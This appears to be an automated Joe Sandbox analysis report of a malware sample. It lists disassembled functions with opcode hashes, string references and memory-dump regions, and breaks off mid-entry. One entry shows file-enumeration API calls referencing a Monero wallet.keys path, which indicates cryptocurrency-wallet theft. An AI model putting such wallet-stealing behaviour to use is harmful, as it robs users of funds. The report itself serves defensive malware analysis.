Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <$3:$?X{
API String ID: 0-485475520
Opcode ID: 86f24074e727e7e6907ad84ae29efb3b149e187e735c22621a7a077c9f45b6e2
Instruction ID: bff291e0711e0bf89244239c9b3f6836deb8fd25ef6438d548debc98ef86b16f
Opcode Fuzzy Hash: 86f24074e727e7e6907ad84ae29efb3b149e187e735c22621a7a077c9f45b6e2
Instruction Fuzzy Hash: 423208F350C2049FE3146E2DDC8576AFBE9EF94320F1A493DEAC483744EA3558158697

Function 009B81B6 Relevance: 2.8, Strings: 1, Instructions: 1599COMMON

Download Yara Rule

Strings

`[m, xrefs: 009B923E

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: `[m
API String ID: 0-3565385072
Opcode ID: 2ef3cc49e287d3c9ae7e3931ce48db5185e4f036141dda3afef09982ce4a8a53
Instruction ID: 5ea1b82654d9513db000b772a127c4d575f4e66ec6b9d4fa0668fcb73d5fe57c
Opcode Fuzzy Hash: 2ef3cc49e287d3c9ae7e3931ce48db5185e4f036141dda3afef09982ce4a8a53
Instruction Fuzzy Hash: 02B229F3A0C2049FE3046E2DEC9567ABBE9EF94720F1A463DEAC4C7344E63558058697

Function 00986AE2 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

jas[, xrefs: 00986C6D
]^u}, xrefs: 00986B87

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ]^u}$jas[
API String ID: 0-4247793429
Opcode ID: 8bdc4630ac85e85e42ccbca6b88b76b4ba5ce6f6098f5d2eb33e28dffffb5033
Instruction ID: 24bef497a4ac07f5be41dc1bc78f86df02df257de2cab9296edf4079f868e577
Opcode Fuzzy Hash: 8bdc4630ac85e85e42ccbca6b88b76b4ba5ce6f6098f5d2eb33e28dffffb5033
Instruction Fuzzy Hash: 1D4138F3E0C2105FE3186E69DC9576BB7DAEBD4310F2B463DDAC443784E97958018686

Function 009C95C6 Relevance: 2.4, Strings: 1, Instructions: 1126COMMON

Download Yara Rule

Strings

#.M, xrefs: 009C9BC6

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #.M
API String ID: 0-306105806
Opcode ID: fa79e3b021822dc67a7198fcb4b5e03a8bfeca4692dc3b3e63daa9392d3ddad7
Instruction ID: 692f7db6b7a722e4ac8daf92042b39c395af1e428bf6896c9e8fea7a943237cf
Opcode Fuzzy Hash: fa79e3b021822dc67a7198fcb4b5e03a8bfeca4692dc3b3e63daa9392d3ddad7
Instruction Fuzzy Hash: 6B7208F3A082009FE3146E29EC8577AF7E9EF94720F1A452DEAC4D3740EA3598418797

Function 005FF68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006115B8,00610D96), ref: 005FF71E
StrCmpCA.SHLWAPI(?,006115BC), ref: 005FF76F
StrCmpCA.SHLWAPI(?,006115C0), ref: 005FF785
FindNextFileA.KERNEL32(000000FF,?), ref: 005FFAB1
FindClose.KERNEL32(000000FF), ref: 005FFAC3

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: adf30c47ff3ebf04835abf7dafefdba5c4605a42419896da0460f2aba94d7136
Instruction ID: 16d1dbd3aa493d42b6522d4f321f3568e836cccaa53aa54383d0ea8fa3931ca8
Opcode Fuzzy Hash: adf30c47ff3ebf04835abf7dafefdba5c4605a42419896da0460f2aba94d7136
Instruction Fuzzy Hash: 8811B73084020D9BDB58FBE0DC55EEE773AAF10340F4086ADA51A564D2EF302B4ACB56

Function 008A2F8A Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

*YZz, xrefs: 008A2FDC

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *YZz
API String ID: 0-2099423365
Opcode ID: 3dc38c93f7a3d786df789f86c4e122ec6459c008bf0bdb6c9f460982b13e82c2
Instruction ID: 37fa79d3f09e84444cea8b28eb2ba59763bbb7acf6d82f6c7146524c1f1963b3
Opcode Fuzzy Hash: 3dc38c93f7a3d786df789f86c4e122ec6459c008bf0bdb6c9f460982b13e82c2
Instruction Fuzzy Hash: E46117F3A193005FF304992AEC8476BB7DAEFD8720F2AC53DE78883644E5388C058656

Function 008F1F0B Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

N'y9, xrefs: 008F20EF

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: N'y9
API String ID: 0-3329616576
Opcode ID: 02cf6eaba779cab3f1d108a7ad1e451ab87d39ee43d1f3d15d1c5a64f6cba75d
Instruction ID: 07dfea15286fbb57f61a99cd77175db4195408becfc3e6f5ced9536bf1d7d6e8
Opcode Fuzzy Hash: 02cf6eaba779cab3f1d108a7ad1e451ab87d39ee43d1f3d15d1c5a64f6cba75d
Instruction Fuzzy Hash: 055158F3E181109BF744682DED6477A76CACBD4330F3A863DEA95D7784E83A88054296

Function 0088662B Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

aB;, xrefs: 008866B8

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: aB;
API String ID: 0-4029130727
Opcode ID: 44dee97118ea43ba73b69b017846ca541c9c00e905531635e68f9f396de97a13
Instruction ID: 7b742195705a6d2fb55ce6939c728ee3b0d646cdf9a6163bac0672879f1652f0
Opcode Fuzzy Hash: 44dee97118ea43ba73b69b017846ca541c9c00e905531635e68f9f396de97a13
Instruction Fuzzy Hash: 6B516BF3E182105BE318692DEC49766BBDADBD4330F2A423EEA84D7784E8754C058196

Function 008AFAEB Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

mjh, xrefs: 008AFCB5

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: mjh
API String ID: 0-1552672764
Opcode ID: 040ab4386c446f0367b29595092bf5dc656f11a51fa4063d497c3b4ddf22f7f6
Instruction ID: 2408aab6d43b040642fa1cc5e8671062455bd4c5ce03d49afcc5fa9126647c39
Opcode Fuzzy Hash: 040ab4386c446f0367b29595092bf5dc656f11a51fa4063d497c3b4ddf22f7f6
Instruction Fuzzy Hash: FF5188F3B192289BE7045D2DDCD4776B7D9EB98221F2B423DDF88A7784E8361C058291

Function 00897C2C Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e3353a0fcce207860cc241cb880046b6ca4c293bd1f50de320bf3091525f23a
Instruction ID: 0252b85350711f0bc50a07fe3b46d835b1c098ee3fec0bf47c436870e106a9cd
Opcode Fuzzy Hash: 3e3353a0fcce207860cc241cb880046b6ca4c293bd1f50de320bf3091525f23a
Instruction Fuzzy Hash: 6971E2F390C7049FE304AE69DCC176AB7D9EFA4324F1A863DE7D583380E97958008686

Function 00990F9E Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd31a1b71dba1035aad2cfcad99c5c1e59b90f24a602c47cb2971e85e659b12
Instruction ID: 06b6715463105c34e66f2f814d3d26d14d2f8e535062d7c8c8b4770cade624de
Opcode Fuzzy Hash: fbd31a1b71dba1035aad2cfcad99c5c1e59b90f24a602c47cb2971e85e659b12
Instruction Fuzzy Hash: 816126F3A082045FF3147A2DEC8977ABBD9EB94320F1A463DDBD483780E939581586C6

Function 0092A5D7 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9688dbfbedeee57fee5ce0b256f2f71f40e07663a3aec84e2e57625cf7d400
Instruction ID: 3147b828162157012eba0fbab5295f7d3a52e71fa366e3079d364103fca73bf6
Opcode Fuzzy Hash: 3b9688dbfbedeee57fee5ce0b256f2f71f40e07663a3aec84e2e57625cf7d400
Instruction Fuzzy Hash: BA4136F3D082158BE7106D7DDD44366BBD6AB84320F2B4738DED897B84EA78480682C6

Function 009835B4 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a71d55dabe6cc3a82ed67dadf0f4f0947e7f6fd5a5e8ceb8f77ccec43e59663
Instruction ID: 015d4bab9fb3918de1428ea91735b76ba61ec333968319377ea44cf6a830d270
Opcode Fuzzy Hash: 1a71d55dabe6cc3a82ed67dadf0f4f0947e7f6fd5a5e8ceb8f77ccec43e59663
